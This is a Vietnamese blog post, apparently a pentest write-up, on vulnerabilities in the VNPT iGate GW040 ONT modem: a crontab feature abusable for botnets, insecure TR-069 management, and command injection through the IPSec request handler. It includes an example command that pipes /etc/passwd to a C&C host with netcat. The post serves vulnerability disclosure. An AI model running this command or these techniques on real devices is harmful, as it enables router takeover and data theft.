Lỗ hổng trên dòng ONT IGate GW040
Mở đầu — Challenge accepted.
Bài này mình đã thực hiện nhanh từ hồi cuối tháng 10/2017 từ 1 lời thách thức của ông anh trong team (Các bạn có thể đọc qua một chút thông tin trước tại đây:https://blog.fosec.vn/a-quick-look-at-igate-gw040-gpon-ont-from-vnpt-e84030bb8699) tuy nhiên do có 1 vài vấn đề về policy mà đến giờ mới public được.
Về cơ bản đây là 1 sản phẩm của người Việt làm ra, bọn mình thực hiện pentest không vì bất kỳ mục đích xấu nào ngoài mục đích muốn sản phẩm được ngày càng tốt lên.
Tiếng sét ái tình từ cái nhìn đầu tiên
Theo kinh nghiệm bản thân thử lượn lờ vào trang quản trị xem có đoạn nào khả dĩ có thể tương tác được với OS hay không, lướt nhanh 1 cái thấy ngay chức năng này.
Không rõ mục đích của các bạn phát triển như thế nào nhưng qua chức năng này thật quá đơn giản để tạo botnet mà chẳng cần mất công code, lợi dụng chức năng crontab này mình có thể setup yêu cầu thiết bị định kỳ connect back về server lấy 1 đoạn script và chạy nó. Như ở trên là mình thử đặt cứ 1 phút 1 lần lên trang C&C lấy và chạy file a.
VD nội dung file a:
Cat /etc/passwd | nc c.and.c 77
Thì sẽ được:
Quản trị hay bị quản trị ?
Dò tiếp 1 chút thì thấy chức năng Tr069:
Đây là chức năng cho phép nhà mạng quản lý thiết bị từ xa (theo dõi thông số hoạt đông, upgrade, cấu hình …)
Có 3 vấn đề ở chức năng này:
- Server không sử dụng https.
- Thiết bị không xác thực server.
- Người dùng có quyền cấu hình địa chỉ ACS server (chả hiểu có ông khách hàng nào có nhu cầu tự dựng server quản trị riêng hay không).
Kết hợp cả 3 yếu tố thì chức năng này không khác gì chức năng crontab ở bên trên, nghĩa là nếu bị hack thì thiết bị hoàn toàn có thể bị trỏ về ACS của hacker và biến modem trở thành bot.
Phân tích binary
Các bạn có thể tải firmware tại
https://blogvnpt.blogspot.com/2017/02/cap-nhat-firmware-g616a04rtm-update.html
sử dụng binwalk để extrart firmware:
Firmware sử dụng định dạng ubifs (read only file system) và 1 vùng jffs2 chắc để lưu volatile variables.
Sau khi extrart duyệt qua filesystem 1 chút, lấy được file /bin/httpd.
Hơi bất ngờ khi biên dịch ngược code các bạn có enable cờ bảo vệ stack, chắc cũng đã được apply 1 cái coding convention nào đấy rồi, hơn hẳn mấy con modem tàu mình nghịch trước đây => very good!.
Ngồi đọc dạo qua binary 1 vòng phát hiện 1 đoạn code gọi hàm system với tham số truyền từ bên ngoài vào.
Trace ngược lại chút thì đoạn code này được sử dụng cho chức năng IPSec có thể trigger bằng request add new ipsec connection.
Chỉnh sửa request:
Và kết quả:
Kết luận:
Đây là một sản phẩm khá tốt và có vẻ cũng đã để ý đến vấn đề ATTT, tuy nhiên mình có 1 cảm giác thiết bị chưa thực sự được chú trọng ở khâu thiết kế khi chắp vá cóp nhặt các chức năng của các thiết bị khác mà không có cái nhìn về hệ thống dẫn đến nhưng lỗi cơ bản về ATTT không đáng có. Hơi đáng tiếc :(